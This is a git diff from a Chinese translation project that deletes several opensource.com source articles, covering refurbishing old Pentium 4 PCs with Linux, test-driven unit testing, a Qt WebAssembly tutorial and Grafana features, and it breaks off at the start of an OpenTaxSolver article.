HT - - - -Sources: Wikipedia (for the [P-4][12], [P-M][13], and [processor][14] lists), [CPU World,][15] [Revolvy][16]. - -Machines hosting these processors typically use either DDR2 or DDR memory. Dual-core processors entered the market in 2005 and displaced single-core CPUs within a few years. I'll assume you have some version of what's in the above table. Or you might have an equivalent [AMD][17] or [Celeron][18] processor from the same era. - -The big draw of this old hardware is that you can get it for free. People consider it junk. They'll be only too glad to give you their castoffs. If you don't have a machine on hand, just ask your friends or family. Or drop by the local recycling center. Unless they have strict rules, they'll be happy to give you this old equipment. You can even advertise on [Craigslist][19], [Freecycle,][20] or [other reuse websites][21]. - -**A quick tip:** Grab more than one machine. With old hardware, you often need to cannibalize parts from several computers to build one good working one. - -### Prepare the hardware - -Before you can use your old computer, you must refurbish it. The steps to fixing it up are: - - 1. Clean it - 2. Identify what hardware you have - 3. Verify the hardware works - - - -Start by opening up the box and cleaning out the dirt. Dust causes the heat that kills electronics. A can of compressed air helps. - -Always keep yourself grounded when touching things so that you don't harm the electronics. And don't rub anything with a cleaning rag! Even a shock you can't feel can damage computer circuitry. - -While you've got the box open, learn everything you can about your hardware. Write it all down, so you remember it later: - - * Count the open memory slots, if any. Is the RAM DDR or DDR2 (or something else)? - * Read the hard drive label to learn its capacity and age. (It'll probably be an old IDE drive. You can identify IDE drives by their wide connector ribbons.) - * Check the optical drive label to see what kinds of discs it reads and/or writes, at what speed, and to what standard(s). - * Note other peripherals, add-in cards, or anything unusual. - - - -Close and boot the machine into its boot-time [BIOS][22] panels. [This list][23] tells you what program function (PF) key to press to access those startup panels for your specific computer. Now you can complete your hardware identification by rounding out the details on your processor, memory, video memory, and more. - -### Verify the hardware - -Once you know what you've got, verify that it all works. Test: - - * Memory - * Disk - * Motherboard - * Peripherals (optical drive, USB ports, sound, etc.) - - - -Run any diagnostic tests in the computer's boot or BIOS panels. Free resource kits like [Hiren's BootCD][24] or the [Ultimate Boot CD][25] can round out your testing with any diagnostics your boot panels lack. These kits offer dozens of testing programs: all are free, but not all are open source. You can boot them off a live USB or DVD so that you don't have to install anything on the computer. - -Be sure to run the "extended" or long tests for the memory and disk drive. Run tests overnight if you have to. Do this job right! If you miss a problem now, it could cause you big headaches later. - -If you find a problem, refer to my _[Quick guide to fixing hardware][26]_ to solve common issues. - -### Essential hardware upgrades - -You'll want to make two key hardware upgrades. First, increase memory to the computer's maximum. (You can find the maximum for your computer with a quick web search for its specs.) The practical minimum to run many lightweight Linux distros is 1GB RAM; 2GB or more is ideal. While the maximum allowable memory varies by the machine, the great majority of these computers will upgrade to at least 2GB. - -Second—if the desktop doesn't already have one—add a video card. This offloads graphics processing from the motherboard to the video card and increases the computer's video memory. Bumping up the VRAM from 32 or 64MB to 256GB or more greatly increases the range of applications an old computer can run. Especially if you want to run games. - -Be sure the video card fits your computer's [video slot][27] (AGP, PCI, or PCI-Express) and has the right [cable connector][28] (VGA or DVI). You can issue a couple of [Linux line commands][29] to see how much VRAM your system has, or look in the BIOS boot panels. - -These two simple upgrade hacks—increasing memory and video power—take a marginal machine and make it _way_ more functional. Your goal is to build the most powerful P-4 or M ever. That way, you can squeeze the most performance from this aging design. - -The good news is that with the old computers we're talking about, you can get any parts you need for free. Just cannibalize them from other discarded PC's. - -### Select the software - -Choosing the right software for a P-4 or M is critical. [Don't][30] use an [unsupported][31] Windows version just because it's already on the PC; malware might plague you if you do. A fresh install is mandatory. - -Open source software is the way to go. [Many][32] Linux [distributions][33] are specifically designed for older computers. And with Linux, you can install, move, copy, and clone the operating system and its apps at will. This makes your job easier: You won't run into activation or licensing issues, and it's all free. - -Which distribution should you pick? Assuming you have at least 2GB of memory, start your search by trying a _lightweight distribution_—these feature resource-stingy [desktop environments][34]. Xfce or LXQt are excellent desktop environment choices. Products that [consume more resources][35] or produce fancier graphics—like Unity, GNOME, KDE, MATE, and Cinnamon—won't perform well. - -The lightweight Linux distros I've enjoyed success with are Mint/Xfce, Xubuntu, and Lubuntu. The first two use Xfce while Lubuntu employs LXQt. You can find [many other][36] excellent candidate distros beyond these three choices that I can vouch for. - -Be sure to download the 32-bit versions of the operating systems; 64-bit versions don't make much sense unless a computer has at least 4GB of memory. - -The lightweight Linux distros I've cited offer friendly menus and feature huge software repositories backed by active forums. They'll enable your old computer to do everything it's capable of. However, they won't run on every computer from the P-4 era. If one of these products runs on your computer and you like it, great! You've found your distro. - -If your computer doesn't perform well with these selections, won't boot, or you have less than 2GB of memory, try an _ultralight distribution_. Ultralights reduce resource use by replacing desktop environments with [window managers][37] like Fluxbox, FLWM, IceWM, JWM, or Openbox. Window managers use fewer resources than desktop environments. The trade-off is that they're less flexible. As an example, you may have to dip into code to alter your desktop or taskbar icons. - -My go-to ultralight distro is [Puppy Linux][38]. It comes in several variants that run well on Pentium 4's and M's with only 1GB of memory. Puppy's big draw is that it has versions designed specifically for older computers. This means you'll avoid the hassles you might run into with other distros. For example, Puppy versions run on old CPUs that don't support features like PAE or SSE3. They'll even help you run an older kernel or obsolete bootstrap program if your hardware requires it. - -And Puppy runs _fast_ on limited-resource computers! It optimizes performance by loading the operating system entirely into memory to avoid slow disk access. It bundles a full range of apps that have been carefully selected to use minimal hardware resources. - -Puppy is also user-friendly. Even a naive end user can use its simple menus and attractive desktop. But be advised—it takes expertise to install and configure the product. You might have to spend some time on Puppy's [forum][39] to get oriented. The forum is especially useful because many who post there work with old computers. - -A fun alternative to Puppy is [Tiny Core][40] Linux. With Tiny Core, you install only the software components you want. So you build up your environment from the absolute minimum. This takes time but results in a lean, mean system. Tiny Core is perfect for creating a dedicated server. It's a great learning tool, too, so check out its [free eBook][41]. - -If you want a quick, no-hassles install, you might try [antiX][42]. It's Debian-based, offers a selection of lightweight interfaces, and runs well on machines with only a gigabyte of memory. I've had excellent results installing antiX on a variety of old PCs. - -_**Caution:**_ Many distros casually claim that they run on "old computers" when they really mean that they run on _limited-resource computers_. There's a big difference. Old computers sometimes do not support all the CPU features required by newer operating systems. Avoid problems by selecting a Linux proven to run on your hardware. - -Don't know if a distro will run on your box? Save yourself some time by posting a message on the distro's forum and asking for responses from folks using hardware like yours. You should receive some success stories. If nobody can say they've done what you're trying to do, I'd avoid that product. - -### How to use your refurbished computer - -Will you be happy using your restored PC? It depends on what you expect. - -People who use aging systems learn to leverage minimal resources. For example, they run resource-stingy programs like GNOME Office in place of LibreOffice. They forgo CPU-intense programs like emulators, graphics-heavy apps, video processing, and virtual machine hosting. They focus on one task at a time and don't expect much concurrency. And they know how to manage machine resources proactively. - -Old hardware can perform well in dedicated situations. Earlier, I mentioned my friends who use their old computers for design spreadsheets and as a writer's workbench. And I wrote this article on my personal retro box—a Dell GX280 desktop with a Pentium 4 at 3.2GHz, with 2GB DDR-2 RAM and two 40GB IDE disks, dual-booting Puppy and antiX. - -#### Create a retro game box - -You can also create a fantastic retro game box. First, install an appropriate distro. Then install [Wine][43], a program designed to run Windows software on Linux. Now you'll be able to run nearly all your old Windows XP, ME/98/95, and 3.1 games. [DOSBox][44] supports tons more [free DOS games][45]. And Linux offers over a thousand more. - -I've enjoyed nostalgic fun on a P-4 running antiX and all the old games I remember from years ago. Just be sure you've maxed out system memory and added a good video card for the best results. - -#### Access the web - -The big challenge with old computers is web surfing. [This study][46] claims that average website size has increased 100% over a three-year period, while [this article][47] tells how bloated news sites have become. Videos, animation, images, trackers, ad requests—they all make websites slower than just a few years ago. - -Worse, websites increasingly refuse you access unless you allow them to run their ads. This is a problem because the ads can overwhelm old CPUs. In fact, for most websites, the resources required to run ads and trackers are _way_ greater than that required for the actual website content. - -Here are the performance tricks you need to know if you web surf with an older computer: - - * Run the fastest, lightest browser possible. Chrome, Firefox, and Opera are probably the top mainstream offerings. - * Try alternative [minimalist browsers][48] to see if they can meet your needs: [Dillo][49], [NetSurf][50], [Dooble][51], [Lynx][52], [Links][53], or others. - * Actively manage your browser. - * Don't open many browser tabs. - * Manually start and stop processing in specific tabs. - * Block ads and trackers: - * Offload this chore to your virtual private network (VPN) if at all possible. - * Otherwise, use a browser extension. - * Don't slow down your browser by installing add-ons or extensions beyond the minimum required. - * Disable autoplay for videos and Flash. - * Toggle JavaScript off and on. - * Ensure the browser renders text before graphics. - * Don't run background tasks while web surfing. - * Manually clear cookies to avoid page-access limits on some websites. - * Linux means you don't have to run real-time anti-malware (which consumes a CPU core on many Windows PCs). - - - -Employing some of these tricks, I happily use refurbished dual-core computers for all my web surfing. But with today's internet, I find single-core processors inadequate for anything beyond the occasional web lookup. In other words, they're acceptable for _web access_ but insufficient for _web surfing_. That's just my opinion. Yours may vary depending on your expectations and the nature of your web activity. - -### Enjoy free educational fun - -However you use your refurbished P-4 or M, you'll know a lot more about computer hardware and open source software than when you started. It won't cost you a penny, and you'll have some fun along the way! - -Please share your own refurbishing experiences in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/restore-old-computer-linux - -作者:[Howard Fosdick][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/howtech -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003499_01_other11x_cc.png?itok=I_kCDYj0 (Two animated computers waving one missing an arm) -[2]: http://opensource.com/article/19/7/how-make-old-computer-useful-again -[3]: http://linuxmint.com/ -[4]: https://xubuntu.org/ -[5]: http://lubuntu.me/ -[6]: http://www.google.com/search?q=uses+for+a+pentium+IV -[7]: https://en.wikipedia.org/wiki/Search_for_extraterrestrial_intelligence -[8]: https://en.wikipedia.org/wiki/Tails_(operating_system) -[9]: http://www.cpubenchmark.net/low_end_cpus.html -[10]: http://www.digitaltrends.com/web/internet-is-getting-slower/ -[11]: https://www.forbes.com/sites/christopherhelman/2013/09/07/how-much-energy-does-your-iphone-and-other-devices-use-and-what-to-do-about-it/#ba4918e2f702 -[12]: https://en.wikipedia.org/wiki/Pentium_4 -[13]: https://en.wikipedia.org/wiki/Pentium_M -[14]: https://en.wikipedia.org/wiki/List_of_Intel_Pentium_4_microprocessors -[15]: http://www.cpu-world.com/CPUs/Pentium_4/index.html -[16]: https://www.revolvy.com/page/List-of-Intel-Pentium-4-microprocessors?cr=1 -[17]: https://en.wikipedia.org/wiki/List_of_AMD_microprocessors -[18]: https://en.wikipedia.org/wiki/Celeron -[19]: https://www.craigslist.org/about/sites -[20]: https://www.freecycle.org/ -[21]: https://alternativeto.net/software/freecycle/ -[22]: http://en.wikipedia.org/wiki/BIOS -[23]: http://www.disk-image.com/faq-bootmenu.htm -[24]: http://www.hirensbootcd.org/download/ -[25]: http://www.ultimatebootcd.com/ -[26]: http://www.rexxinfo.org/Quick_Guide/Quick_Guide_To_Fixing_Computer_Hardware -[27]: http://www.playtool.com/pages/vidslots/slots.html -[28]: https://silentpc.com/articles/video-connectors -[29]: https://www.cyberciti.biz/faq/howto-find-linux-vga-video-card-ram/ -[30]: https://fusetg.com/dangers-running-unsupported-operating-system/ -[31]: http://home.bt.com/tech-gadgets/computing/windows-7/windows-7-support-end-11364081315419 -[32]: https://itsfoss.com/lightweight-linux-beginners/ -[33]: https://fossbytes.com/best-lightweight-linux-distros/ -[34]: https://en.wikipedia.org/wiki/Desktop_environment -[35]: http://www.phoronix.com/scan.php?page=article&item=ubu-1704-desktops&num=3 -[36]: https://www.google.com/search?ei=TfIoXtG5OYmytAbl04z4Cw&q=best+lightweight+linux+distros+for+old+computers&oq=best+lightweight+linux+distros+for+old&gs_l=psy-ab.1.0.0i22i30l8j0i333.6806.8527..10541...2.2..0.159.1119.2j8......0....1..gws-wiz.......0i71j0.a6LTmaIXan0 -[37]: https://en.wikipedia.org/wiki/X_window_manager -[38]: http://puppylinux.com/ -[39]: http://murga-linux.com/puppy/ -[40]: http://tinycorelinux.net/ -[41]: http://tinycorelinux.net/book.html -[42]: http://antixlinux.com/ -[43]: https://www.winehq.org/ -[44]: https://en.wikipedia.org/wiki/DOSBox -[45]: https://www.dosgamesarchive.com/ -[46]: https://www.digitaltrends.com/web/internet-is-getting-slower/ -[47]: https://www.forbes.com/sites/kalevleetaru/2016/02/06/why-the-web-is-so-slow-and-what-it-tells-us-about-the-future-of-online-journalism/#34475c2072f4 -[48]: http://en.wikipedia.org/wiki/Comparison_of_lightweight_web_browsers -[49]: http://www.dillo.org/ -[50]: http://www.netsurf-browser.org/ -[51]: http://textbrowser.github.io/dooble/ -[52]: http://lynx.browser.org/ -[53]: http://en.wikipedia.org/wiki/Links_%28web_browser%29 diff --git a/sources/tech/20200217 Automating unit tests in test-driven development.md b/sources/tech/20200217 Automating unit tests in test-driven development.md deleted file mode 100644 index fc3971effe..0000000000 --- a/sources/tech/20200217 Automating unit tests in test-driven development.md +++ /dev/null @@ -1,69 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Automating unit tests in test-driven development) -[#]: via: (https://opensource.com/article/20/2/automate-unit-tests) -[#]: author: (Alex Bunardzic https://opensource.com/users/alex-bunardzic) - -Automating unit tests in test-driven development -====== -What unit tests have in common with carpentry. -![gears and lightbulb to represent innovation][1] - -DevOps is a software engineering discipline focused on minimizing the lead time to achieve a desired business impact. While business stakeholders and sponsors have ideas on how to optimize business operations, those ideas need to be validated in the field. This means business automation (i.e., software products) must be placed in front of end users and paying customers. Only then will the business confirm whether the initial idea for improvement was fruitful or not. - -Software engineering is a budding discipline, and it can get difficult to ship products that are defect-free. For that reason, DevOps resorts to maximizing automation. Any repeatable chore, such as testing implemented changes to the source code, should be automated by DevOps engineers. - -This article looks at how to automate unit tests. These tests are focused on what I like to call "programming in the small." Much more important test automation (the so-called "programming in the large") must use a different discipline—integration testing. But that's a topic for another article. - -### What is a unit? - -When I'm teaching approaches to unit testing, often, my students cannot clearly determine what a testable unit is. Which is to say, the granularity of the processing is not always clear. - -I like to point out that the easiest way to spot a valid unit is to think of it as a _unit of behavior_. For example (albeit a trivial one), when an authenticated customer begins online shopping, the unit of behavior is a cart that has zero items in it. Once we all agree that an empty shopping cart has zero items in it, we can focus on automating the unit test that will ensure that such a shopping cart always returns zero items. - -### What is not a unit? - -Any processing that involves more than a single behavior should not be viewed as a unit. For example, if shopping cart processing results in tallying up the number of items in the cart AND calculating the order total AND calculating sales tax AND calculating the suggested shipping method, that behavior is not a good candidate for unit testing. Such behavior is a good candidate for integration testing. - -### When to write a unit test - -There is a lot of debate about when to write a unit test. Received wisdom states that once the code has been written, it is a good idea to write automated scripts that will assert whether the implemented unit of behavior delivers functionality as expected. Not only does such a unit test (or a few unit tests) document the expected behavior, the collection of all unit tests ensures that future changes will not degrade quality. If a future change adversely affects the already implemented behavior, one or more unit tests will complain, which will alert developers that regression has occurred. - -There is another way to look at software engineering. It is based on the traditional adage "measure twice, cut once." In that light, writing code before writing tests would be equivalent to cutting a part of some product (say, a chair leg) and measuring it only after it's cut. If the craftsperson doing the cutting is very skilled, that approach may work (kind of). But more likely than not, the chair legs cut this way would end up with unequal lengths. So, it is advisable to measure before cutting. What that means for the practice of software engineering is that the measurements are expressed in the unit tests. Once we measure the required values, we create a blueprint (a unit test). That blueprint is then used to guide the cutting of the code. - -Common sense would suggest that it is more reasonable to measure first and, only then, do the cutting. According to that line of reasoning, writing unit tests before writing code is a recommended way to do proper software engineering. Technically speaking, this "measure twice, cut once" approach is called a "test-first" approach. The opposite approach, where we write the code first, is called "test-later." The test-first approach is the approach advocated by [test-driven development][2] (TDD) methodology. Writing tests later is called test-later development (TLD). - -### Why is TLD harmful? - -Cutting before measuring is not recommended. Even the most talented craftspeople will eventually make mistakes by cutting without doing so. A lack of measurement will eventually catch up with even the most experienced of us as we continue in our craft. So it's best to produce a blueprint (i.e., measurements) before cutting. - -But that's not the only reason why the TLD approach is considered harmful. When we write code, we're simultaneously considering two separate concerns: the expected behavior of the code and the optimal structure of the code. These two concerns are very dissimilar. That fact makes it very challenging to do a proper job satisfying the expectations regarding both the desired behavior and the optimal (or at the very least, decent) code structure. - -The TDD approach solves this conundrum by focusing undivided attention first on the expected desired behavior. We start by writing the unit test. In that test, we focus on _what_ we expect to happen. At this point, we don't care, in the least, _how_ the expected behavior is going to materialize. - -Once we're done describing the _what_ (i.e., what manifest behavior are we expecting from the unit we are about to build?), we watch that expectation fail. It fails because the code that is concerned with _how_ the expected behavior is going to happen hasn't materialized yet. Now we are compelled to write the code that's going to take care of the _how_. - -After we write the code responsible for how, we run the unit test(s) and see if the code we just wrote fulfills the expected behavior. If it does, we're done. Time to move on to fulfilling the next expectation. If it doesn't, we continue transforming the code until it succeeds in passing the test. - -If we choose not to do TDD, but write code first and later write the unit test, we miss the opportunity to separate _what_ from _how_. In other words, we write the code while simultaneously taking care of what we expect the code to do _and_ how to structure the code to do it correctly. - -As such, writing unit tests after we write code is considered harmful. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/automate-unit-tests - -作者:[Alex Bunardzic][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/alex-bunardzic -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/innovation_lightbulb_gears_devops_ansible.png?itok=TSbmp3_M (gears and lightbulb to represent innovation) -[2]: https://opensource.com/article/20/1/test-driven-development diff --git a/sources/tech/20200217 Create web user interfaces with Qt WebAssembly instead of JavaScript.md b/sources/tech/20200217 Create web user interfaces with Qt WebAssembly instead of JavaScript.md deleted file mode 100644 index bc61dab48d..0000000000 --- a/sources/tech/20200217 Create web user interfaces with Qt WebAssembly instead of JavaScript.md +++ /dev/null @@ -1,133 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Create web user interfaces with Qt WebAssembly instead of JavaScript) -[#]: via: (https://opensource.com/article/20/2/wasm-python-webassembly) -[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) - -Create web user interfaces with Qt WebAssembly instead of JavaScript -====== -Get hands-on with Wasm, PyQt, and Qt WebAssembly. -![Digital creative of a browser on the internet][1] - -When I first heard about [WebAssembly][2] and the possibility of creating web user interfaces with Qt, just like I would in ordinary C++, I decided to take a deeper look at the technology. - -My open source project [Pythonic][3] is completely Python-based (PyQt), and I use C++ at work; therefore, this minimal, straightforward WebAssembly tutorial uses Python on the backend and C++ Qt WebAssembly for the frontend. It is aimed at programmers who, like me, are not familiar with web development. - -![Header Qt C++ frontend][4] - -### TL;DR - - -``` -git clone  - -cd wasm_qt_example - -python mysite.py -``` - -Then visit with your favorite browser. - -### What is WebAssembly? - -WebAssembly (often shortened to Wasm) is designed primarily to execute portable binary code in web applications to achieve high-execution performance. It is intended to coexist with JavaScript, and both frameworks are executed in the same sandbox. [Recent performance benchmarks][5] showed that WebAssembly executes roughly 10–40% faster,  depending on the browser, and given its novelty, we can still expect improvements. The downside of this great execution performance is its widespread adoption as the preferred malware language. Crypto miners especially benefit from its performance and harder detection of evidence due to its binary format. - -### Toolchain - -There is a [getting started guide][6] on the Qt wiki. I recommend sticking exactly to the steps and versions mentioned in this guide. You may need to select your Qt version carefully, as different versions have different features (such as multi-threading), with improvements happening with each release. - -To get executable WebAssembly code, simply pass your Qt C++ application through [Emscripten][7]. Emscripten provides the complete toolchain, and the build script couldn't be simpler: - - -``` -#!/bin/sh -source ~/emsdk/emsdk_env.sh -~/Qt/5.13.1/wasm_32/bin/qmake -make -``` - -Building takes roughly 10 times longer than with a standard C++ compiler like Clang or g++. The build script will output the following files: - - * WASM_Client.js - * WASM_Client.wasm - * qtlogo.svg - * qtloader.js - * WASM_Client.html - * Makefile (intermediate) - - - -The versions on my (Fedora 30) build system are: - - * emsdk: 1.38.27 - * Qt: 5.13.1 - - - -### Frontend - -The frontend provides some functionalities based on [WebSocket][8]. - -![Qt-made frontend in browser][9] - - * **Send message to server:** Send a simple string message to the server with a WebSocket. You could have done this also with a simple HTTP POST request. - * **Start/stop timer:** Create a WebSocket and start a timer on the server to send messages to the client at a regular interval. - * **Upload file:** Upload a file to the server, where the file is saved to the home directory (**~/**) of the user who runs the server. - - - -If you adapt the code and face a compiling error like this: - - -``` -error: static_assert failed due to - requirement ‘bool(-1 == 1)’ “Required feature http for file - ../../Qt/5.13.1/wasm_32/include/QtNetwork/qhttpmultipart.h not available.” -QT_REQUIRE_CONFIG(http); -``` - -it means that the requested feature is not available for Qt Wasm. - -### Backend - -The server work is done by [Eventlet][10]. I chose Eventlet because it is lightweight and easy to use. Eventlet provides WebSocket functionality and supports threading. - -![Decorated functions for WebSocket handling][11] - -Inside the repository under **mysite/template**, there is a symbolic link to **WASM_Client.html** in the root path. The static content under **mysite/static** is also linked to the root path of the repository. If you adapt the code and do a recompile, you just have to restart Eventlet to update the content to the client. - -Eventlet uses the Web Server Gateway Interface for Python (WSGI). The functions that provide the specific functionality are extended with decorators. - -Please note that this is an absolute minimum server implementation. It doesn't implement any multi-user capabilities — every client is able to start/stop the timer, even for other clients. - -### Conclusion - -Take this example code as a starting point to get familiar with WebAssembly without wasting time on minor issues. I don't make any claims for completeness nor best-practice integration. I walked through a long learning curve until I got it running to my satisfaction, and I hope this gives you a brief look into this promising technology. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/wasm-python-webassembly - -作者:[Stephan Avenwedde][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/hansic99 -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_web_internet_website.png?itok=g5B_Bw62 (Digital creative of a browser on the internet) -[2]: https://webassembly.org/ -[3]: https://github.com/hANSIc99/Pythonic -[4]: https://opensource.com/sites/default/files/uploads/cpp_qt.png (Header Qt C++ frontend) -[5]: https://pspdfkit.com/blog/2018/a-real-world-webassembly-benchmark/ -[6]: https://wiki.qt.io/Qt_for_WebAssembly#Getting_Started -[7]: https://emscripten.org/docs/introducing_emscripten/index.html -[8]: https://en.wikipedia.org/wiki/WebSocket -[9]: https://opensource.com/sites/default/files/uploads/wasm_frontend.png (Qt-made frontend in browser) -[10]: https://eventlet.net/ -[11]: https://opensource.com/sites/default/files/uploads/python_backend.png (Decorated functions for WebSocket handling) diff --git a/sources/tech/20200218 10 Grafana features you need to know for effective monitoring.md b/sources/tech/20200218 10 Grafana features you need to know for effective monitoring.md deleted file mode 100644 index 92f1cc3455..0000000000 --- a/sources/tech/20200218 10 Grafana features you need to know for effective monitoring.md +++ /dev/null @@ -1,69 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (10 Grafana features you need to know for effective monitoring) -[#]: via: (https://opensource.com/article/20/2/grafana-features) -[#]: author: (Daniel Lee https://opensource.com/users/daniellee) - -10 Grafana features you need to know for effective monitoring -====== -Learn how to make the most of this open source dashboard tool. -![metrics and data shown on a computer screen][1] - -The [Grafana][2] project [started in 2013][3] when [Torkel Ödegaard][4] decided to fork Kibana and turn it into a time-series and graph-focused dashboarding tool. His guiding vision: to make everything look more clean and elegant, with fewer things distracting you from the data. - -More than 500,000 active installations later, Grafana dashboards are ubiquitous and instantly recognizable. (Even during a [SpaceX launch][5]!) - -Whether you're a recent adopter or an experienced power user, you may not be familiar with all of the features that [Grafana Labs][6]—the company formed to accelerate the adoption of the Grafana project and to build a sustainable business around it—and the Grafana community at large have developed over the past 6+ years. - -Here's a look at some of the most impactful: - - 1. **Dashboard templating**: One of the key features in Grafana, templating allows you to create dashboards that can be reused for lots of different use cases. Values aren't hard-coded with these templates, so for instance, if you have a production server and a test server, you can use the same dashboard for both. Templating allows you to drill down into your data, say, from all data to North America data, down to Texas data, and beyond. You can also share these dashboards across teams within your organization—or if you create a great dashboard template for a popular data source, you can contribute it to the whole community to customize and use. - 2. **Provisioning**: While it's easy to click, drag, and drop to create a single dashboard, power users in need of many dashboards will want to automate the setup with a script. You can script anything in Grafana. For example, if you're spinning up a new Kubernetes cluster, you can also spin up a Grafana automatically with a script that would have the right server, IP address, and data sources preset and locked. It's also a way of getting control over a lot of dashboards. - 3. **Annotations:** This feature, which shows up as a graph marker in Grafana, is useful for correlating data in case something goes wrong. You can create the annotations manually—just control-click on a graph and input some text—or you can fetch data from any data source. (Check out how Wikimedia uses annotations on its [public Grafana dashboard][7], and here is [another example][8] from the OpenHAB community.) A good example is if you automatically create annotations around releases, and a few hours after a new release, you start seeing a lot of errors, then you can go back to your annotation and correlate whether the errors started at the same time as the release. This automation can be achieved using the Grafana HTTP API (see examples [here][9] and [here][10]). Many of Grafana's largest customers use the HTTP API for a variety of tasks, particularly setting up databases and adding users. It's an alternative to provisioning for automation, and you can do more with it. For instance, the team at DigitalOcean used the API to integrate a [snapshot feature for reviewing dashboards][11]. - 4. **Kiosk mode and playlists:** If you want to display your Grafana dashboards on a TV monitor, you can use the playlist feature to pick the dashboards that you or your team need to look at through the course of the day and have them cycle through on the screen. The [kiosk mode][12] hides all the user interface elements that you don't need in view-only mode. Helpful hint: The [Grafana Kiosk][13] utility handles logging in, switching to kiosk mode, and opening a playlist—eliminating the pain of logging in on a TV that has no keyboard. - 5. **Custom plugins:** Plugins allow you to extend Grafana with integrations with other tools, different visualizations, and more. Some of the most popular in the community are [Worldmap Panel][14] (for visualizing data on top of a map), [Zabbix][15] (an integration with Zabbix metrics), and [Influx Admin Panel][16] (which offers other functionality like creating databases or adding users). But they're only the tip of the iceberg. Just by writing a bit of code, you can get anything that produces a timestamp and a value visualized in Grafana. Plus, Grafana Enterprise customers have access to more plugins for integrations with Splunk, Datadog, New Relic, and others. - 6. **Alerting and alert hooks:** If you're using Grafana alerting, you can have alerts sent through a number of different notifiers, including PagerDuty, SMS, email, or Slack. Alert hooks allow you to create different notifiers with a bit of code if you prefer some other channels of communication. - 7. **Permissions and teams**: When organizations have one Grafana and multiple teams, they often want the ability to both keep things separate and share dashboards. Early on, the default in Grafana was that everybody could see everyone else's dashboards, and that was it. Later, Grafana introduced multi-tenant mode, in which you can switch organizations but can't share dashboards. Some people were using huge hacks to enable both, so Grafana decided to officially create an easier way to do this. Now you can create a team of users and then set permissions on folders, dashboards, and down to the data source level if you're using Grafana Enterprise. - 8. **SQL data sources:** Grafana's native support for SQL helps you turn anything—not just metrics—in an SQL database into metric data that you can graph. Power users are using SQL data sources to do a whole bunch of interesting things, like creating business dashboards that "make sense for your boss's boss," as the team at Percona put it. Check out their [presentation at GrafanaCon][17]. - 9. **Monitoring your monitoring**: If you're serious about monitoring and you want to monitor your own monitoring, Grafana has its own Prometheus HTTP endpoint that Prometheus can scrape. It's quite simple to get dashboards and statics. There's also an enterprise version in development that will offer Google Analytics-style easy access to data, such as how much CPU your Grafana is using or how long alerting is taking. - 10. **Authentication**: Grafana supports different authentication styles, such as LDAP and OAuth, and allows you to map users to organizations. In Grafana Enterprise, you can also map users to teams: If your company has its own authentication system, Grafana allows you to map the teams in your internal systems to teams in Grafana. That way, you can automatically give people access to the dashboards designated for their teams. - - - -Want to take a deeper dive? Join the [Grafana community][18], check out the [how-to section][19], and share what you think. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/grafana-features - -作者:[Daniel Lee][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/daniellee -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/metrics_data_dashboard_system_computer_analytics.png?itok=oxAeIEI- (metrics and data shown on a computer screen) -[2]: https://github.com/grafana/grafana -[3]: https://grafana.com/blog/2019/09/03/the-mostly-complete-history-of-grafana-ux/ -[4]: https://grafana.com/author/torkel -[5]: https://youtu.be/ANv5UfZsvZQ?t=29 -[6]: https://grafana.com/ -[7]: https://grafana.wikimedia.org/d/000000143/navigation-timing?orgId=1&refresh=5m -[8]: https://community.openhab.org/t/howto-create-annotations-in-grafana-via-rules/48929 -[9]: https://docs.microsoft.com/en-us/azure/devops/service-hooks/services/grafana?view=azure-devops -[10]: https://medium.com/contentsquare-engineering-blog/from-events-to-grafana-annotation-f35aafe8bd3d -[11]: https://youtu.be/kV3Ua6guynI -[12]: https://play.grafana.org/d/vmie2cmWz/bar-gauge?orgId=1&refresh=10s&kiosk -[13]: https://github.com/grafana/grafana-kiosk -[14]: https://grafana.com/grafana/plugins/grafana-worldmap-panel -[15]: https://grafana.com/grafana/plugins/alexanderzobnin-zabbix-app -[16]: https://grafana.com/grafana/plugins/natel-influx-admin-panel -[17]: https://www.youtube.com/watch?v=-xlchgoqkqY -[18]: https://community.grafana.com/ -[19]: https://community.grafana.com/c/howto/6 diff --git a/sources/tech/20200218 Getting started with OpenTaxSolver.md b/sources/tech/20200218 Getting started with OpenTaxSolver.md deleted file mode 100644 index b0b1ba1677..0000000000 --- a/sources/tech/20200218 Getting started with OpenTaxSolver.md +++ /dev/null @@ -1,124 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: 